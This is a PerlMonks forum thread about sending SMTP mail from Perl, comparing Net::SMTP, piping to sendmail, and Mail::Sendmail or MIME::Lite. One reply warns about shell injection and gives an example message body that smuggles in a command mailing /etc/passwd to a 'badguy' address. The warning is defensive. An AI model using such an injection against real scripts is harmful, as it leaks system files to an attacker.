Beefy Boxes and Bandwidth Generously Provided by pair Networks
The stupid question is the question not asked
 
PerlMonks  

Re: Sending SMTP mail on other than port 25

by asdfgroup (Beadle)
on Apr 26, 2002 at 14:09 UTC ( #162282=note: print w/replies, xml ) Need Help??


in reply to Sending SMTP mail on other than port 25

I usually don't work with NET::SMTP, but rather send mail via sendmail (of course UNIX only solution) :
open(MAIL, "| /usr/sbin/sendmail -t") or die $!; print MAIL "From: xxx@xxx.xxx\nTo: qwe@aaa.com\nSubject: your subjec +t\n\nBody here";

This is generally much faster than NET::SMTP. And will work magically with port number etc ;)

But of course this will work only locally

Replies are listed 'Best First'.
Re: Re: Sending SMTP mail on other than port 25
by gav^ (Curate) on Apr 26, 2002 at 15:33 UTC
    This is a bad thing. It is:
    • Not faster than Net::SMTP
    • Not portable, works only on unix (and only where sendmail is in /usr/sbin)
    My personal choice is to use something like Mail::Sendmail or MIME::Lite which provides a nice level of abstraction and reduces the chance of errors. It also means less typing which is definatly a good thing.

    gav^

      This is not only a bad thing(tm) and not faster but it tempts people to pass args to the command line which can be very dangerous.

      For the speed issue, invoking sendmail is yet another process which will cause delays, especially if you have to send many messages to different people with different content.

      For the bad thing(tm) if you do not remove or escape all possible shell meta chars from the message body you can provide an interface to run arbitrary commands.

      Assume a message on unix systems that was "Hi\nHere is the password file\n;sendmail -t badguy@someplace.com cat /etc/passwd"

      or (if I recall) using & on NT systems you can get similar results.

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://162282]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others chanting in the Monastery: (5)
As of 2021-06-12 21:01 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?
    What does the "s" stand for in "perls"? (Whence perls)












    Results (53 votes). Check out past polls.

    Notices?